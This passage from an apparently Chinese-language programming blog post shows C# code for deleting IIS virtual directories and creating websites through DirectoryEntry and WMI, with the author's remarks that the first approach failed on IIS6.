<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir = folderRoot.Children.Find(nameDirectory, VirDirSchemaName);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>catch</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return "Sorry! The virtual path does not exists!!";</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;</SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>try</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>folderRoot.Children.Remove(newVirDir);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>folderRoot.CommitChanges();</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>_iisServer.CommitChanges();</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return "Delete success";</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>catch (Exception e)</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;</SPAN>return "Sorry!Error when deleting the virtual path. Return message is :" + e.Message;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US>#endregion</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">同理，你也可以通过</SPAN><SPAN lang=EN-US>IIsWebVirtualDir</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">对虚拟目录的属性进行修改。参考</SPAN><SPAN lang=EN-US>IIS</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">帮助文件。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">&nbsp;</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">添加网站</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">页面如图：</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><V:SHAPETYPE id=_x0000_t75 coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"><V:STROKE jo&#105;nstyle="miter"></V:STROKE><V:FORMULAS><V:F eqn="if lineDrawn pixelLineWidth 0"></V:F><V:F eqn="sum @0 1 0"></V:F><V:F eqn="sum 0 0 @1"></V:F><V:F eqn="prod @2 1 2"></V:F><V:F eqn="prod @3 21600 pixelWidth"></V:F><V:F eqn="prod @3 21600 pixelHeight"></V:F><V:F eqn="sum @0 0 1"></V:F><V:F eqn="prod @6 1 2"></V:F><V:F eqn="prod @7 21600 pixelWidth"></V:F><V:F eqn="sum @8 21600 0"></V:F><V:F eqn="prod @7 21600 pixelHeight"></V:F><V:F eqn="sum @10 21600 0"></V:F></V:FORMULAS><V:PATH o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></V:PATH><O:LOCK v:ext="edit" aspectratio="t"></O:LOCK></V:SHAPETYPE><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_214823.jpg" border=0></SPAN></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">开始的时候，以为可以原理和添加虚拟目录一样，直接操作就行了，在网上也找到一个方法，代码如下：</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>#region CreateWebSite2 </SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">创建网站的第二种方法</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>public string CreateWebSite2(string name, string path, string description,string serverID, string port, bool makeActive, string UserName, string Password) </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>try</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>DirectoryEntry iisObject = new DirectoryEntry("IIS://localhost/w3svc");</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>DirectoryEntry webSite = (DirectoryEntry)iisObject.Invoke("Create", new object[] { "IIsWebServer", serverID });</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>webSite.Properties["ServerComment"][0] = name;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>webSite.Properties["ServerAutoStart"][0] = makeActive;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>string prt = ":" + port.ToString() + ":";</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-U, , S><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>webSite.Properties["ServerBindings"].Add(prt);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>webSite.CommitChanges();</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// Create new IIS virtual directory </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>DirectoryEntry virtualDirectory = (DirectoryEntry)webSite.Invoke("Create", new object[] { "IIsWebVirtualDir", "Root" });</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>virtualDirectory.CommitChanges();</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// Set common properties </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>if (UserName != null)</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>virtualDirectory.Properties["AnonymousUserName"][0] = UserName;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>virtualDirectory.Properties["AnonymousUserPass"][0] = Password;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>virtualDirectory.Properties["AccessExecute"][0] = true;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>virtualDirectory.Properties["EnableDefaultDoc"][0] = true;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>virtualDirectory.Properties["DefaultDoc"][0] = "default.aspx";</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>Directory.Exists(path);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>virtualDirectory.Properties["Path"][0] = path;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>virtualDirectory.CommitChanges();</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;</SPAN>// set medium (pooled) application protection </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>virtualDirectory.Invoke("AppCreate2", new object[] { 2 });</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// Commit the property/children changes to the virtual directory </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>virtualDirectory.Properties["AppFriendlyName"][0] = name;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>virtualDirectory.CommitChanges();</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>if (makeActive)</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>try</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>webSite.Invoke("Start", new object[] { });</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>catch(Exception startException)</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return "Create the site successfully! \r\nError when starting the site.Return message is :" + startException.Message;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return "Create the site successfully!";</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;</SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>catch(Exception createException)</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return "Error when creating the site.Return message is :" + createException.Message;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>}</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体">#endregion</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"></SPAN>&nbsp;</P><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在页面中使用的时候始终不成功，查了一下</SPAN><SPAN lang=EN-US>IIS</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的帮助，也没有找到</SPAN><SPAN lang=EN-US>IIsWebServer</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的</SPAN><SPAN lang=EN-US>Create</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">方法，不知道是不是</SPAN><SPAN lang=EN-US>IIS6</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中已经没有这个方法了。经过在网上仔细地查找和浏览</SPAN><SPAN lang=EN-US>IIS</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的帮助，终于还是找到一个通过调用</SPAN><SPAN lang=EN-US>WMI</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">添加网站的办法，真是不容易啊！汗</SPAN><SPAN lang=EN-US>~~~~~~</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">代码：</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US>#region CreateWebsite </SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">添加网站</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>public string CreateWebSite(string serverID, string serverComment, string defaultVrootPath, string HostName, string IP, string Port) </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{ </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>try </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;</SPAN>{ </SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>ManagementObject oW3SVC = new ManagementObject (_scope, new ManagementPath(@"IIsWebService='W3SVC'"), null); </SPAN></P>
